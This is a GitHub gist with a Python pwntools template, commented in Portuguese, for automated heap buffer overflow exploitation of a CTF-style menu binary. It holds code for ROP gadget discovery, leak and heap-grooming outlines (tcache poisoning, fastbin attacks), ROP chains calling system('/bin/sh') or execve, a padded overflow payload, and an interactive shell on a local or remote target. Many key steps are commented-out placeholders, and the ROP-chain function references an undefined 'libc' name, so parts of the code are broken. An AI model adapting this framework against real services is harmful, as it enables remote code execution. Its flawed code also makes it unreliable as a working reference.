Skip to content

Instantly share code, notes, and snippets.

@marcostolosa
Created November 13, 2025 01:45
Show Gist options
  • Select an option

  • Save marcostolosa/77d24b18b057fe685e957b95ed87bb20 to your computer and use it in GitHub Desktop.

Select an option

Save marcostolosa/77d24b18b057fe685e957b95ed87bb20 to your computer and use it in GitHub Desktop.
Heap Buffer Overflow Automatic
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
import sys
import os
# ==================== CONFIGURAÇÃO DO EXPLOIT ====================
class HeapExploit:
def __init__(self, binary_path, libc_path=None, remote_host=None, remote_port=None):
"""
Inicializa o exploit para heap BOF
:param binary_path: Caminho para o binário vulnerável
:param libc_path: Caminho para libc (opcional, para bypass ASLR)
:param remote_host: Host remoto (para conexão remota)
:param remote_port: Porta remota
"""
self.binary_path = binary_path
self.libc_path = libc_path
self.remote_host = remote_host
self.remote_port = remote_port
# Carrega binário e libc
self.elf = ELF(binary_path)
if libc_path:
self.libc = ELF(libc_path)
# Configura contexto
context.binary = self.elf
context.log_level = 'debug' # Mude para 'info' para menos verbose
# Endereços importantes
self.heap_base = None
self.libc_base = None
self.PIE_base = None
# ROP e gadgets
self.rop = None
self.gadgets = {}
def connect(self):
"""Estabelece conexão (local ou remoto)"""
if self.remote_host and self.remote_port:
io = remote(self.remote_host, self.remote_port)
log.success(f"Conectado remoto: {self.remote_host}:{self.remote_port}")
else:
io = process(self.binary_path)
log.success(f"Processo local iniciado: PID {io.pid}")
# Para debugging com GDB
# gdb.attach(io, '''
# break main
# continue
# ''')
return io
def find_gadgets(self):
"""Encontra automaticamente gadgets usando ROP"""
log.info("Buscando gadgets...")
self.rop = ROP(self.elf)
# Gadgets comuns
try:
self.gadgets['pop_rdi'] = self.rop.find_gadget(['pop rdi', 'ret'])[0]
self.gadgets['pop_rsi'] = self.rop.find_gadget(['pop rsi', 'ret'])[0]
self.gadgets['pop_rdx'] = self.rop.find_gadget(['pop rdx', 'ret'])[0]
self.gadgets['pop_rax'] = self.rop.find_gadget(['pop rax', 'ret'])[0]
self.gadgets['syscall'] = self.rop.find_gadget(['syscall', 'ret'])[0]
self.gadgets['ret'] = self.rop.find_gadget(['ret'])[0]
except:
log.warning("Alguns gadgets não encontrados no binário")
# Se libc disponível, busca gadgets lá também
if hasattr(self, 'libc'):
libc_rop = ROP(self.libc)
self.libc_gadgets = {
'pop_rdi': libc_rop.find_gadget(['pop rdi', 'ret'])[0],
'pop_rsi': libc_rop.find_gadget(['pop rsi', 'ret'])[0],
'pop_rdx': libc_rop.find_gadget(['pop rdx', 'ret'])[0],
}
log.success("Gadgets encontrados!")
return self.gadgets
def leak_addresses(self, io):
"""Lógica para leak de endereços (heap, libc, PIE)"""
log.info("Iniciando leak de endereços...")
# ==== TEMPLATE: ADAPTE PARA SEU CENARIO ====
'''
Exemplo comum: Use-after-free para leak
- Aloca chunk
- Libera chunk
- Realoca para sobrescrever
- Lê conteúdo para leak
'''
# Envia payload para leak
# payload = b"A" * offset
# io.sendafter(b">", payload)
# Recebe leak
# response = io.recvline()
# leaked_addr = u64(response.ljust(8, b'\x00'))
# Calcula bases
# self.libc_base = leaked_addr - 0x1ebbe0 # Exemplo offset
# self.heap_base = leaked_addr - 0x10 # Exemplo offset
# log.info(f"libc base: {hex(self.libc_base)}")
# log.info(f"heap base: {hex(self.heap_base)}")
# Retorna True se leak funcionar
return True
def heap_grooming(self, io):
"""Prepara o heap (grooming) para o ataque"""
log.info("Iniciando heap grooming...")
# ==== TEMPLATE: ADAPTE PARA SEU CENARIO ====
'''
Técnicas comuns:
- Tcache poisoning
- Fastbin attack
- House of Spirit
- Unsorted bin attack
'''
# Exemplo: Tcache poisoning
# Aloca chunks de tamanhos específicos
# for i in range(7):
# allocate(io, 0x100, b"A"*8) # Fill tcache
# Libera chunks para encher tcache
# for i in range(7):
# free(io, i)
log.success("Heap grooming completo")
def build_rop_chain(self):
"""Constrói ROP chain automatizada"""
log.info("Construindo ROP chain...")
chain = b""
# ==== TEMPLATE: ADAPTE PARA SEU OBJETIVO ====
'''
Objetivos comuns:
- Execve("/bin/sh", NULL, NULL)
- system("/bin/sh")
- One_gadget
'''
if hasattr(self, 'libc_base') and self.libc_base:
# Usa libc (bypass ASLR)
libc.address = self.libc_base
# Opcao 1: system("/bin/sh")
# binsh = next(libc.search(b"/bin/sh"))
# chain += p64(self.libc_gadgets['pop_rdi'])
# chain += p64(binsh)
# chain += p64(libc.sym['system'])
# Opcao 2: execve("/bin/sh", NULL, NULL)
# binsh = next(libc.search(b"/bin/sh"))
# chain += p64(self.libc_gadgets['pop_rdi'])
# chain += p64(binsh)
# chain += p64(self.libc_gadgets['pop_rsi'])
# chain += p64(0)
# chain += p64(self.libc_gadgets['pop_rdx'])
# chain += p64(0)
# chain += p64(libc.sym['execve'])
# Opcao 3: one_gadget (mais fácil)
# one_gadget = self.libc_base + 0xe3b2e # Exemplo offset
# chain = p64(one_gadget)
pass
else:
# Sem libc - usar gadgets do binário apenas
# Opcao: ret2plt + dlresolve
log.warning("Sem libc base, opções limitadas")
return chain
def exploit(self):
"""Método principal do exploit"""
io = self.connect()
# 1. Encontra gadgets
self.find_gadgets()
# 2. Leak de endereços (se necessário)
if not self.leak_addresses(io):
log.error("Falha no leak!")
return False
# 3. Heap grooming
self.heap_grooming(io)
# 4. Constrói payload final
rop_chain = self.build_rop_chain()
# 5. Envia payload
payload = self.create_final_payload(rop_chain)
log.info("Enviando payload...")
# io.sendlineafter(b">", payload)
# 6. Shell interativa
log.success("Exploit enviado! Obtendo shell...")
io.interactive()
return True
def create_final_payload(self, rop_chain):
"""Cria payload final com overflow"""
# ==== TEMPLATE: ADAPTE OFFSETS E ESTRUTURA ====
'''
Exemplo de estrutura:
[ padding ] + [ overwrite target ] + [ rop chain ]
'''
offset = 40 # Tamanho do buffer + saved RBP
padding = b"A" * offset
# Alvo do overwrite (ex: __malloc_hook, __free_hook, got, etc)
target_addr = 0xdeadbeef
# Cria payload
payload = padding
payload += p64(target_addr)
payload += rop_chain
log.info(f"Payload size: {len(payload)} bytes")
return payload
# ==================== FUNÇÕES AUXILIARES ====================
def allocate(io, size, data=b"AAAA"):
"""Aloca chunk no heap"""
io.sendlineafter(b">", b"1")
io.sendlineafter(b"Size:", str(size).encode())
io.sendafter(b"Data:", data)
log.info(f"Alocado: size={size}")
def free(io, index):
"""Libera chunk"""
io.sendlineafter(b">", b"2")
io.sendlineafter(b"Index:", str(index).encode())
log.info(f"Liberado: index={index}")
def edit(io, index, data):
"""Edita chunk (heap overflow aqui)"""
io.sendlineafter(b">", b"3")
io.sendlineafter(b"Index:", str(index).encode())
io.sendafter(b"Data:", data)
log.info(f"Editado: index={index}, size={len(data)}")
def show(io, index):
"""Mostra conteúdo de chunk (para leaks)"""
io.sendlineafter(b">", b"4")
io.sendlineafter(b"Index:", str(index).encode())
return io.recvline()
# ==================== USO ====================
if __name__ == "__main__":
# Configurações
LOCAL_BIN = "./heap_challenge" # Seu binário aqui
LIBC_PATH = "./libc.so.6" # Se tiver libc específica
REMOTE_HOST = "challenge.ctf.com"
REMOTE_PORT = 9999
# Escolha: local ou remoto
USE_REMOTE = False # Mude para True para conectar remoto
try:
if USE_REMOTE:
exploit = HeapExploit(
binary_path=LOCAL_BIN,
libc_path=LIBC_PATH,
remote_host=REMOTE_HOST,
remote_port=REMOTE_PORT
)
else:
exploit = HeapExploit(
binary_path=LOCAL_BIN,
libc_path=LIBC_PATH
)
# Executa exploit
exploit.exploit()
except Exception as e:
log.error(f"Erro: {e}")
sys.exit(1)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment